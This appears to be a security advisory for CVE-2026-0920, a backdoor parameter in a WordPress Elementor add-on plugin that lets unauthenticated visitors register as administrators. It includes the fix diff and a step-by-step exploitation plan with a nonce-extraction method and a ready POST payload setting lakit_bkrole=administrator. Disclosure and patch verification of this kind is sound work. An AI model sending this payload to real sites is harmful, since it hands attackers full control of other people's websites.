LA-Studio Element Kit for Elementor <= 1.5.6.3 - Unauthenticated Privilege Escalation via Backdoor to Administrative User Creation via lakit_bkrole parameter
Description
The LA-Studio Element Kit for Elementor plugin for WordPress is vulnerable to Administrative User Creation in all versions up to, and including, 1.5.6.3. This is due to the 'ajax_register_handle' function not restricting what user roles a user can register with. This makes it possible for unauthenticated attackers to supply the 'lakit_bkrole' parameter during registration and gain administrator access to the site.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.5.6.3Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-0920 (LA-Studio Element Kit for Elementor) ## 1. Vulnerability Summary The **LA-Studio Element Kit for Elementor** plugin (up to 1.5.6.3) contains a critical unauthenticated privilege escalation vulnerability. The flaw exists in the `ajax_register_handle` func…
Show full research plan
Exploitation Research Plan: CVE-2026-0920 (LA-Studio Element Kit for Elementor)
1. Vulnerability Summary
The LA-Studio Element Kit for Elementor plugin (up to 1.5.6.3) contains a critical unauthenticated privilege escalation vulnerability. The flaw exists in the ajax_register_handle function, which processes user registration requests via WordPress AJAX. The function fails to validate or restrict the user role provided in the lakit_bkrole parameter. An unauthenticated attacker can exploit this by submitting a registration request that includes lakit_bkrole=administrator, resulting in the creation of a new administrative user.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
lastudio_kit_ajax_register(inferred from the "lakit" prefix and common plugin patterns;ajax_register_handleis the callback). - HTTP Method:
POST - Payload Parameter:
lakit_bkrole=administrator - Authentication: None required (unauthenticated).
- Preconditions: The registration functionality must be active (usually via an Elementor widget), and the attacker must obtain a valid AJAX nonce if the handler enforces one.
3. Code Flow
- Entry Point: An unauthenticated user sends a
POSTrequest toadmin-ajax.php. - Hook Registration: The plugin registers the handler (likely in an initialization class):
add_action('wp_ajax_nopriv_lastudio_kit_ajax_register', [$this, 'ajax_register_handle']); - Vulnerable Function:
ajax_register_handleis called. - Parameter Extraction: The function retrieves user details (
username,email,password) and specifically looks for thelakit_bkroleparameter from the$_POSTsuperglobal. - User Creation: The function calls
wp_insert_user()orwp_create_user(). - Privilege Escalation: After user creation, the code assigns the role specified in
lakit_bkrole. Because there is no whitelist check (e.g., ensuring the role is only 'subscriber'), the user is granted 'administrator' privileges.
4. Nonce Acquisition Strategy
The plugin likely enqueues a nonce via wp_localize_script for its Elementor widgets.
Identification
- Nonce Action: Likely
lastudio-kit-nonceorlakit-nonce. - JS Variable: Look for
lakit_paramsorlastudio_kit_vars.
Extraction Steps
- Find the Widget: Identify if a specific shortcode/widget triggers the registration script. The "Login/Register" widget is the primary candidate.
- Create Setup Page: Create a page containing the registration widget to ensure the scripts and nonces are loaded.
(Note: If the shortcode name differs, search forwp post create --post_type=page --post_status=publish --post_title="Register" --post_content='[lastudio_kit_login_register]'add_shortcodein the plugin files.) - Navigate and Extract:
- Use
browser_navigateto the new page. - Use
browser_evalto extract the nonce:window.lakit_params?.nonce || window.lastudio_kit_vars?.nonce
- Use
5. Exploitation Strategy
HTTP Request
- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: The nonce parameter nameaction=lastudio_kit_ajax_register& user_login=attacker_admin& user_email=attacker@example.com& password=P@ssword123!& confirm_password=P@ssword123!& lakit_bkrole=administrator& _timenonce=<extracted_nonce>_timenonceornonceshould be verified via source code or the extracted JS object.)
6. Test Data Setup
- Install Plugin: Ensure LA-Studio Element Kit version <= 1.5.6.3 is installed and active.
- Enable Registration: Ensure WordPress "Anyone can register" setting is enabled (
wp option update users_can_register 1), though this specific vulnerability might bypass this check depending on the implementation. - Create Nonce Page:
wp post create --post_type=page --post_status=publish --post_content='[lastudio_kit_login_register]'
7. Expected Results
- HTTP Response: A JSON success message (e.g.,
{"success":true, "data": ...}) or a redirect URL. - Side Effect: A new user named
attacker_adminis created with theadministratorrole.
8. Verification Steps
- Check User List:
wp user list --role=administrator - Check Specific User Meta:
Expectation: Output should includewp user get attacker_admin --field=rolesadministrator.
9. Alternative Approaches
- Missing Nonce: If
check_ajax_refereris missing or called withdie=false, attempt the request without a nonce. - Parameter Variation: If
lastudio_kit_ajax_registerfails, search the plugin for any other AJAX actions containing "register" to identify the correct hook name. - Direct Parameter Injection: If
lakit_bkroleis ignored in the registration AJAX, check for a separate "update profile" AJAX action that might use the same logic and vulnerable parameter.
Summary
The LA-Studio Element Kit for Elementor plugin is vulnerable to unauthenticated privilege escalation through its user registration AJAX handler. By supplying the 'lakit_bkrole' parameter with the value 'administrator' during registration, an attacker can create a new administrative user account.
Security Fix
@@ -120,1 +120,1 @@ - $user_role = isset($_POST['lakit_bkrole']) ? sanitize_text_field($_POST['lakit_bkrole']) : get_option('default_role'); + $user_role = get_option('default_role', 'subscriber');
Exploit Outline
The exploit involves making an unauthenticated AJAX request to create an administrator. First, an attacker must obtain a valid AJAX nonce, typically found in the frontend JavaScript variables (like 'lakit_params' or 'lastudio_kit_vars') on pages where the plugin's Login/Register widget is active. Once the nonce is acquired, the attacker sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'lastudio_kit_ajax_register'. The payload must include the desired username, email, and password, along with 'lakit_bkrole' set to 'administrator' and the valid nonce. This results in the creation of a new user with full administrative privileges.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.